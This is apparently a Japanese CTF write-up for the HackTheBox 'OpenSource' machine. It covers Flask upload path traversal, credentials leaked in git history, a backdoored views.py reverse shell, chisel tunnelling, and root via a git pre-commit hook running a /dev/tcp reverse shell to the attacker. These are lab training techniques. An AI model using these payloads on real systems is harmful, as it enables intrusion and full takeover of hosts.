🍏

【HackTheBox】OpenSource Writeup

2023/06/06に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -Pn 10.10.11.164        
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 06:36 EDT
Nmap scan report for 10.10.11.164
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

sshとhttpが開いてます。filteredになっている3000番ポートも気になります。

Upcloud Website

ウェブサイトを見てみます。

downloadからソースコードをダウンロードできます。
Take me thereを押すと/upcloudに遷移します。ファイルをアップロードすると、ファイルのリンクが表示されます。

リンクにアクセスするとファイルの中身が表示されます。

gobuster

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.164 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
...[SNIP]...
===============================================================
/console              (Status: 200) [Size: 1563]
/download             (Status: 200) [Size: 2489147]
===============================================================

/consoleの存在は知らなかったので中身を確認します。

/console Page

アクセスするとこんな感じです。このアプリのdebuggerっぽいですが、ロックされています。

ページソースを見てみるとscriptにSECRET = "G8H2ETLHSZMtN0q2Rtwz"がありました。

調べてみたら、hacktricksにexploitの方法が書いてありました。でもめんどくさそうだったし、ソースコードもまだ見てないので、いったんenumerationを続けます。(https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug)

Source Code Analysis

構成は普通のflaskアプリで、.gitディレクトリもありました。
気になったところをメモします。

Discover dev Branch

views.py(一部)
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

コードに書いているrouteは先ほど見たサイトと違います。差分が気になるので、git logsで過去のコミットを確認したいと思います。

変わったコミットはなかったが、ブランチがpublicになっていることがわかりました。

┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git log          
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:55:55 2022 +0200
    clean up dockerfile for production use

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200
    initial

devブランチもありました。devにswitchしてみます。

dev Branch Code Analysis

┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git branch
  dev
* public

┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git switch dev     

/download/upcloudのrouteがありました。ウェブサイトはdevブランチみたいです。

views.py(dev branch)

@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))

@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

os.path.join()は引数に絶対パスがあると、その前の引数は無視されます。この特性を使ってサーバー上のファイルを書き換えることができます。

utils.pyの中にアップロードされたファイルのパスのsanitizationが実装されています。

utils.py(dev branch)
def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")
    
def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

Discover LFI

絶対パスと../でLFIができます。

dev Branch Git Log

devブランチのログも見てみます。

┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git log    
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial

一つずつ確認したら、be4da71987bbbc8fae7c961fb2de01ebd0be1997コミットにcredentailsっぽいものがありました。

┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git show be4da71987bbbc8fae7c961fb2de01ebd0be1997
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e50a290
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,26 @@
+.DS_Store
...[SNIP]...
+*,cover
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
-  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
-  "http.proxyStrictSSL": false
-}

まとめると、

  • devブランチがあった。サイトはdevのコードを使っている
  • os.path.join()でサーバー上のファイルを書き換えれる
  • LFIでサーバー上のファイルreadできる
  • 過去のコミットからdev01:Soulless_Developer#2022というcredentialsを発見

Shell as Root in Docker Container

Create & Upload Malicious views.py

views.pyを作ります。中身はソースコードと同じですが、/revshellというrouteを追加します。

views.py(自作)
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
import socket
import subprocess

@app.route('/')
def index():
    return render_template('index.html')

...[SNIP]...

@app.route('/revshell')
def connect_to_attacker():
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.10.14.7",9001))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    subprocess.call(["/bin/sh","-i"])
    return

自作のviews.pyをアップロードします。
リクエストをburpでinterceptしてパスを/app/app/views.pyに書き換えます。

/revshellをcurlするとシェルが取れました。

curl 'http://10.10.11.164/revshell'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.164] 52682
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app # 

docker containerの中のrootです。フラグはありませんでした。

Shell as dev01

Container Enumeration

コンテナのipを見てみます。

ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:09  
          inet addr:172.17.0.9  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5807 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5550 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:439847 (429.5 KiB)  TX bytes:3988787 (3.8 MiB)

ipは172.17.0.9です。docker hostの127.17.0.1のポートをスキャンします。

/ # wget http://10.10.14.7:8000/nmap
/ # chmod +x nmap

/ # ping 127.17.0.1 -c 1
PING 127.17.0.1 (127.17.0.1): 56 data bytes
64 bytes from 127.17.0.1: seq=0 ttl=64 time=0.066 ms
--- 127.17.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.066/0.066/0.066 ms

/ # ./nmap 172.17.0.1 -Pn
Nmap scan report for 172.17.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000027s latency).
Not shown: 1145 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  unknown
6000/tcp open  x11
6001/tcp open  x11-1
6002/tcp open  x11-2
6003/tcp open  x11-3
6004/tcp open  x11-4
6005/tcp open  x11-5
6006/tcp open  x11-6
6007/tcp open  x11-7

開いているポートが多い、、
最初から気になっていたポート3000をwgetしてみます。Giteaが動いてるみたいです。

/ # wget 172.17.0.1:3000
Connecting to 172.17.0.1:3000 (172.17.0.1:3000)
saving to 'index.html'
index.html           100% |********************************| 13414  0:00:00 ETA
'index.html' saved
/ # cat index.html
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title> Gitea: Git with a cup of tea</title>

Chisel Port Forwarding

Giteaをブラウザで見たいので、172.17.0.1のport 3000を自分に転送します。
pivot hostがコンテナでsshアクセスできないので、chiselでport forwardingをします。

ビルド済みのchiselをダウンロードして、コンテナからwgetします。

/ # wget http://10.10.14.7:8000/chisel
/ # chmod +x chisel
/ # ./chisel --help

  Usage: chisel [command] [--help]

  Version: 1.8.1 (go1.19.4)

  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

  Read more:
    https://github.com/jpillora/chisel

hacktricksの手順で実行します。
https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding#port-forwarding)

┌──(kali㉿kali)-[~/chisel]
└─$ ./chisel server --reverse -p 8001
/ # ./chisel client 10.10.14.7:8001 R:3000:172.17.0.1:3000

http://localhost:3000にアクセスするとgiteaのページが見れました。

Gitea Enumeration

dev01:Soulless_Developer#2022でログインできました。.sshのディレクトリにid_rsaもあったので、これでsshします。

┌──(kali㉿kali)-[~]
└─$ ssh -i ./opensource/dev1key dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
dev01@opensource:~$ cat user.txt

userフラグ取れました。

Shell as Root

Enumeration

Linpeasを実行してみましたが、いいヒントがなかったです。
sudoできるコマンドもありませんでした。

dev01@opensource:~$ ls -la
total 856
drwxr-xr-x 7 dev01 dev01   4096 Jun  5 11:20 .
drwxr-xr-x 4 root  root    4096 May 16  2022 ..
lrwxrwxrwx 1 dev01 dev01      9 Mar 23  2022 .bash_history -> /dev/null
-rw-r--r-- 1 dev01 dev01    220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 dev01 dev01   3771 Apr  4  2018 .bashrc
drwx------ 2 dev01 dev01   4096 May  4  2022 .cache
drwxrwxr-x 8 dev01 dev01   4096 Jun  5 11:23 .git
drwx------ 3 dev01 dev01   4096 May  4  2022 .gnupg
-rwxrwxr-x 1 dev01 dev01 830030 Apr 30 07:47 linpeas.sh
drwxrwxr-x 3 dev01 dev01   4096 May  4  2022 .local
-rw-r--r-- 1 dev01 dev01    807 Apr  4  2018 .profile
drwxr-xr-x 2 dev01 dev01   4096 May  4  2022 .ssh
-rw-r----- 1 root  dev01     33 Jun  4 10:23 user.txt

.gitがあったのでログを見てみます。
直近のコミットが2分ほど前でした。何か自動でbackup取ってコミットしてるみたいです。
pspyでプロセスを見て、このbackupとるスクリプトを特定します。

dev01@opensource:~$ git log
commit 62ca48474230fa5aec1a3dce13b80b28a6d3b3c3 (HEAD -> main)
Author: gituser <gituser@local>
Date:   Mon Jun 5 11:21:01 2023 +0000

    Backup for 2023-06-05

それっぽいの見つけました。

2023/06/05 11:32:01 CMD: UID=0     PID=18556  | /bin/sh -c /usr/local/bin/git-sync 
2023/06/05 11:32:01 CMD: UID=0     PID=18555  | /bin/sh -c /usr/local/bin/git-sync 

スクリプトの中身を確認します。/home/dev01に変更があるとコミットしてプッシュするコードです。

#!/bin/bash:/usr/local/bin/git-sync 

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

Git Hooks Exploit

GTFOBinsにgitで検索してみたら使えそうなexploitが出てきました。(https://gtfobins.github.io/gtfobins/git/

pre-commitのgit hookにreverse shellのスクリプトを入れれば、/usr/local/bin/git-syncが実行されるとroot shellが取れるみたいです。やってみます。

dev01@opensource:~$ nano .git/hooks/pre-commit
dev01@opensource:~$ cat .git/hooks/pre-commit
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.7/9001 0>&1'

dev01@opensource:~$ touch somefile

少し待つとroot shellが取れました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.164] 51226
bash: cannot set terminal process group (1927): Inappropriate ioctl for device
bash: no job control in this shell
root@opensource:/home/dev01# whoami
whoami
root

Memo

tunneling雑魚なのでいい練習になりました。
今回はかなりforumのお世話になった、、forumの皆さんありがとうございましたー

Discussion